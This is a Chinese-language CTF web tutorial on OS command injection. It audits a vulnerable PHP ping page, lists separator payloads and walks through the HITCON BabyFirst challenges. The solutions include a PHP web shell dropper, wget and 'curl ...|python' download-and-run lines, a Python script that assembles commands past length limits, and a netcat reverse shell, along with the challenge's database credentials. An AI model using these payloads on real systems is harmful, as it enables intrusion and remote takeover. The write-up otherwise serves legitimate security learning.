1. 程式人生 > >CTF-web 第十三部分 命令注入

CTF-web 第十三部分 命令注入

一 、基本原理

命令注入指的是,利用沒有驗證過的惡意命令或程式碼,對網站或伺服器進行滲透攻擊。

注入有很多種,並不僅僅只有SQL注入。比如:

命令注入(Command Injection)

Eval 注入(Eval Injection)

客戶端指令碼攻擊(Script Insertion)

跨網站指令碼攻擊(Cross Site Scripting, XSS)

SQL 注入攻擊(SQL injection)

動態函式注入攻擊(Dynamic Variable Evaluation)

序列化注入&物件注入

 

這種題目又哪些常見的,一個使我們常用的檔案包含,我們是可以使用system等函式的,或者是php函式,應該也屬於命令注入的範疇。

類似於
?url=php://input
postdata = <?php  system('ls'); ?>

sql注入在我看來也是輸入命令注入的範疇的,讓資料庫執行我們的惡意程式碼

但是本章節主要講的和例題涉及的,實際上是執行命令的一些trick,例如在linux系統的命令的分段,命令的一些特殊用法,關於檔案包含,sql注入等的我們前面也有專題了,這裡就不會涉及多少。

 

步驟2:漏洞程式碼審計

php、java、python中常見的可以進行命令注入或者程式碼注入的函式:

 (1)在PHP中常用到以下幾個函式來執行外部命令:
        system
        exec
        passthru
        shell_exec
 (2)python的:
    -*-command:system\popen\subprocess.call\spawn
    -*-code: map\filter\reduce\... 
# python 函式名可以直接作為普通函式的引數的,理論上,如果定義了這樣的函式都危險
def myreduce(funcname,param):
    return funcname(param)
  (3)java的:
    -*-command:java.lang.Runtime.getRuntime().exec(command)
    _*_code:不太懂java,這方面的接觸實在不多。

所以接下來,要尋找哪個檔案使用了這幾個函式,並進行分析。

我們對函式名進行搜尋,右鍵點選www目錄,在彈出來的選單上選擇find in folder,這個是查詢整個資料夾的意思,然後我們在下方彈出的框內輸入第一個敏感函式:system,點選Find,這時,編輯器就會查詢WWW目錄下所有內容裡面有system的檔案。

可以看到,在variables檔案裡有system函式,但它的功能只是讓我們自定義網路,對本次試驗無意義,因此我們檢視下一個函式exec

用同樣的方法搜尋exec函式:

它出現在在admin目錄下的ping.php檔案中,我們開啟admin目錄下的ping.php檔案進行檢視:

開啟檔案後可以看到,只有19到30行左右為PHP程式碼,其他均為HTML,因此核心程式碼應該為第19行到30行,如下

&amp;lt;?php
   if( isset( $_POST[ 'submit' ] ) ) 
   {
        $target = $_POST[ 'target' ];
 
        if (stristr(php_uname('s'), 'Windows NT')) { 
             $cmd = 'ping ' . $target;
        } else { 
             $cmd = 'ping -c 3 ' . $target;
        }
        $res = shell_exec&amp;#40; $cmd &amp;#41;;
        echo "&lt;br /&gt;&lt;pre&gt;$cmd\r\n".iconv('GB2312', 'UTF-        8',$res)."&lt;/pre&gt;";
   }
?>

這段程式碼的功能是,使用ping命令,ping使用者輸入的ip。

接下來大概分析一下這段程式碼的大意:

        首先通過isset函式判斷是否為POST提交過來的值,接下來將POST過來的值傳遞給target變數,但是沒有經過任何的過濾,接下來使用if判斷系統是否為windows,如果是則給cmd賦值為ping target,如果不是則賦值為ping -c 3 target。最後使用shell_exec執行cmd。

我們從上面的程式碼中可以得到兩點可能產生漏洞的地方:

       POST過來的資料,沒有經過任何的過濾。 >* 使用shell_exec函式執行了我們傳遞過來的POST值。

這便是漏洞所在的地方,我們可以在ip後面新增|符,讓它執行完ping命令後,繼續執行我們在|符號後新增的字元,其中|:是or的意思,執行完ping命令,因為有|的存在,系統就會繼續執行後面的命令。

二、漏洞挖掘:

1、在請求中出現的位置:

    (1)POST和GET引數中

    (2)URL的filepath或者filename中(類似thinkphp的偽靜態,或者python的url_for構造的一類)

2、特殊的OS命令注入經常會出現在的業務位置:

    1、系統web管理介面的系統資訊配置點:hostname、ipaddress、netmask、gateway、dnsserver、email等。

    2、功能類網站工具:ping、tracert、nslookup等

    3、檔案查詢或者操作功能:find、locate等

    4、系統資訊檢視類功能:cpuinfo、meminfo等

    5、關閉重啟類操作、shutdown、ifconfig up、reboot、poweroff等

三、常用payload模式:

 1、| ,& ,&&,||等操作    

   (1)& 表示先執行CMD1 再執行CMD2,這裡不考慮CMD1是否成功。使用CMD1 & CMD2

   (2)&& 表示先執行CMD1,成功後再執行CMD,否則不執行CMD2。使用CMD1 && CMD2

   (3)|| 先執行CMD1,CMD1執行成功就不再執行CMD2,CMD1執行失敗則執行CMD2。使用CMD1 || CMD2

  2、payload(& / ‘ “ 空格等特殊符號需要時編碼)

   (1) cmd = 127.0.0.1 | whoami

   (2) cmd = 127.0.0.1 & whoami

   (3) cmd = 127.0.0.1 && whoami

   (4) cmd = `whoami`

   (5) cmd = '/"|whoami(這裡意思是用'/"引號閉合前面 /->表示或)

  3、常用的命令

   (1) 有回顯的:whoami id(驗證類)

   (2) 沒有回顯的:nslookup wget 等看請求、dnslog httplog等 (驗證類)

   (3)彈shell必須的,參考我自己的(http://www.cnblogs.com/KevinGeorge/p/8120226.html) 

  4、程式碼注入:

  (1)php的:檢測phpinfo();攻擊程式碼任意。

  (2)python的:import time;time.sleep(20),攻擊程式碼任意。

  (3)java的:我是弱雞想不到啊。

 

2018.8.5補充:

$() 會將裡面的字元當做命令執行  支援使用一定的編碼  echo $(print(xxxxxxx))

` ` 反引號中的也會當命令執  ping ‘whoami’

四、防禦:

  1、禁止相關函式

  2、過濾輸入

  3、制定可輸入內容

 

五、CTF 例題

讓人吃驚的是,做這個題目需要我們有一定的linux基礎,感覺它使用了一些命令的不常見用法。

1.Babyfirst

<?php
    highlight_file(__FILE__);

    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);

    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }

    exec("/bin/orange " . implode(" ", $args));
?>

大概的意思就是執行url傳過來的引數,先使用【空格】拼接後執行,那麼我們可以構造引數如下:

http://localhost/
?args[0]=x%0a   //%0a為換行的意思
&args[1]=mkdir
&args[2]=orange%0a  //建立目錄
&args[3]=cd
&args[4]=orange%0a   //進入目錄
&args[5]=wget
&args[6]=846465263%0a  //獲取檔案

http://localhost/
?args[0]=x%0a
&args[1]=tar
&args[2]=cvf
&args[3]=aa
&args[4]=orange%0a  //解壓檔案
&args[5]=php
&args[6]=aa  //執行檔案

這其中有幾個要點

(1)發現WGET仍然支援通過它的長號碼格式來解析IP主機。這意味著我們使用http://92775836/是可以的

(2)尋找不需要破折號的命令,想到了tar,如果我們可以將一個非壓縮存檔傳遞給PHP直譯器就很完美了

//我們的需要是這樣的
mkdir exploit
cd exploit
wget 92775836
tar cvf archived exploit
php archived
//"exploit"大概是這麼樣的 :
<?php
file_put_contents('shell.php', '
    <?php
    header("Content-Type: text/plain");
    print shell_exec($_GET["cmd"]);
    ?>
');
?>

2. BabyFirst Revenge

進一步的我們換成了另外一種形式,並加強每次只能傳輸<=5個字元,這時候就又有新的知識可以學習了.首先看一下程式碼

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);
?>

瞭解一下以下的有關知識,看看是否有思路。

(1)ls>a 將目錄寫進a檔案 ls>>a 追加的形式寫(注意排序問題,按照順序寫的)

(2)shell中可以使用\連線一行中沒打完的語句

echo\
 "chy\
beta"   //這是可以正常使用的

(3)錯誤語句不會影響下面正確語句的執行

-t\
>q
a  //這之前的命令雖然是錯的,但不會影響
l\
s \
-t\
>q   //實際輸出的命令為 ls -t>q

 綜上,我們需要做的就是將命令寫進檔案,使用\來連線不同行,然後執行檔案就可以。但是問題出現了,我們控制不了檔案的順序,使得寫入檔案時的順序不會是按照我們想的順序,如果能按照時間排序就很完美了,當然ls -t就是這個功能,我們需要把它寫進一個檔案裡,方便接下來呼叫。

例如想要ls -t>g(我們將這個命令寫入檔案a),我們建立了ls\, ,-t\ ,>g\,我們有這四個檔案了,呼叫命令ls>a 將目錄寫進a檔案,發現...a裡面的命令實際是亂的。

        那麼要求我們不需要考慮是否存在不可用命令,將建立的資料夾可以排成我們想要的順序,看看大佬的順序是如何弄的(環境不一樣,可能結果不一樣)

>-t\
>\>q
>l\
>s\ \
ls>a
ls>>a

ls>a之後 檔案內容為

在ls>>a 得到的結果為

我們看到第四個到第七個組成了ls -t>q,前面的錯誤指令不用考慮。

接下來的下一個任務,從指定url下載檔案,將IP轉換為10進位制,然後由於ls -t是新檔案排在前,我們需要倒序建立檔案(wget 2077173*48),需要建立的順序為

>*48
>173\
>077\
>\ 2\
>et\
>wg\

接著執行命令sh a,注意檔案a是我們第一階段時生成的,其中包含命令ls -t>q。執行完後檢視新生成的檔案q:

接下來執行命令sh q就可以下載檔案了。接下來,需要不斷的進行探索flag的所在地。可以按照下述命令來實現命令的執行:

?cmd=rm%20i*   // 刪除index.html
?cmd=sh%20a    // 執行檔案q,即wget新的index.html
?cmd=sh%20i*   // 執行index.html中的shell命令

找到在一個主目錄下有一個readme.txt

Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr

 

接下去通過替換index.html的內容。不斷地將sql查詢語句寫到檔案裡並訪問,最後得到flag

mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "show databases;" > kk5
// 訪問:http://52.199.204.34/sandbox/對應md5/kk5, 得到:
Database
information_schema
fl4gdb

mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x666c34676462" > kk7
//訪問:http://52.199.204.34/sandbox/對應md5/kk7, 得到:
GROUP_CONCAT(table_name)
this_is_the_fl4g

mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "(SELECT * FROM fl4gdb.this_is_the_fl4g" > kk9
//訪問:http://52.199.204.34/sandbox/對應md5/kk9, 得到:
secret
hitcon{idea_from_phith0n,thank_you:)}
 

第二位大佬的作品

  大佬使用的是xxd命令,通過建立命令的ascii碼將其寫入檔案中,然後再執行。大佬採用的方法是幾個幾個的ascii通過>建立檔案,然後通過ls>>y將y字元和ascii碼追加到y檔案中,每寫進去一個之後就刪除acsii檔案,確保每次只追加y和ascii碼。

       然後的關鍵點是,建立引數檔案>-p  >-r 和目標檔案>z,當我們使用xxd *命令是,會將-p -r檔案當做引數,y當做原始檔z當做目的檔案,將y中的可acsii反向的資料反向之後持續的輸出到z,實現了我們只保留原始acsii對應的字元,並去除多餘的y的功能。大概的原理如下:例如列印hello

>4845  //ascii檔案
ls>>y  //追加到y 
rm 4*  //刪除ascii檔案
>4c4c  //以上的不斷重複
ls>>y
rm 4*
>4f
ls>>y
rm 4*  //到此為止 y中的內容為
    4845.y.4c4c.y.4f.y. 這裡使用.表示換行
>z    //建立目標檔案
>-p   //建立引數檔案
>-r   //目錄下排序為  -p -r y z
xxd * //相當於執行 xxd -p -r y z
      //將y中的可acsii反向的資料反向之後持續的輸出到z 即為hello 中間的沒用的都被去除了

(另一種方法 直接寫命令的字母,最後的檔名用\ 相當於每次帶有一個\ 拼接命令)

    cat\ 
    flag\
    .txt\

作者在這個原理的基礎上寫了一個萬能指令碼,通過如下建立一個反彈shell

mkfifo f; nc <host> <port> <f | bash >f 2>f

具體實驗中他們使用的指令碼是這個樣子的,可以看到使用的原理就是上邊講的那個,通過不斷地位元組拼接完成命令組裝,可以執行任意命令,並觀察返回值。

import requests as rq
import hashlib as h
import binascii as ba

url = "http://52.199.204.34/"
ipify = "https://api.ipify.org"

def get_ip():
    r = rq.get(ipify)
    return r.text

folder = h.md5(b"orange" + get_ip().encode()).hexdigest()

def reset():
    rq.get(url, params = {
        "reset": 1
    })

def cmd(c):
    rq.get(url, params = {
        "cmd": c
    })

def read(f):
    r = rq.get(url + "sandbox/" + folder + "/" + f)
    if r.status_code == 200:
        return r.text

def long_cmd(cmd_text):
    reset()
    cmd_bytes = cmd_text.encode()
    for i in range(0, len(cmd_bytes), 2):
        cur_bytes = cmd_bytes[i:i + 2]
        print("writing '{}'".format(cur_bytes.decode()))
        hex_chars = ba.hexlify(cur_bytes).decode()
        cmd(">" + hex_chars)
        cmd("ls>>y")
        cmd("rm " + hex_chars[0] + "*")
    cmd(">z")
    cmd(">-p")
    cmd(">-r")
    cmd("xxd *")
    cmd("sh z")
    return read("o")

def shell(cmd_text):
    print(long_cmd(cmd_text))

def rshell(host, port):
    long_cmd("mkfifo f; nc {} {} <f | bash >f 2>f".format(host, port))

查詢發現目錄下一個README.txt檔案存有flag資訊

Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr

通過指令碼執行以下命令,就可以拿到flag

$ mysql -ufl4444g -pSugZXUtgeJ52_Bvr
mysql> SHOW DATABASES;
Database
information_schema
fl4gdb
mysql> use fl4gdb;
SHOW TABLES;
Tables_in_fl4gdb
this_is_the_fl4g
mysql> SELECT * FROM this_is_the_fl4g;
secret
hitcon{idea_from_phith0n,thank_you:)}

 

三.BabyFirst Revenge v2

題目進一步變難,將字元控制在4個之內

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);
?>

對於上邊大佬些的感覺沒有影響,一個一個弄就好了

 

--------------------------------未整理-------------------------------

四·命令執行的一些trick

1.>NAME 我們可以建立新的檔案

2.ls>name 我們可以吧目錄按順序寫入檔案

3.\可以用來銜接多行中的命令(一行一部分,多行拼湊)

4.命令 * 可以將目錄下的檔案當做引數,注意檔案順序

5.關於反彈shell什麼的,還需要多加學習,liunx命令也要知道些

6.一些稀奇古怪的命令和用法

 

總結

4個trick思路加上重定向和反彈shell知識

trick1                命令組裝 dir a b >c

trick2                萬用字元的妙用 *v=rev v

trick3                按時間順序排列檔案 ls -t

trick4                命令續行 

 

curl orang.pw|python 通過url下載orange中的檔案,使用python執行,就可以反彈shell

 

詳細的trick介紹請點選連線

https://www.freebuf.com/articles/web/154453.html 因為原文是禁止轉載 請跳轉檢視 還是挺深奧的

--------------------------------未整理-------------------------------

參考 https://www.cnblogs.com/KevinGeorge/p/8232430.html

https://blog.csdn.net/kuiguowei/article/details/79045215?utm_source=blogxgwz9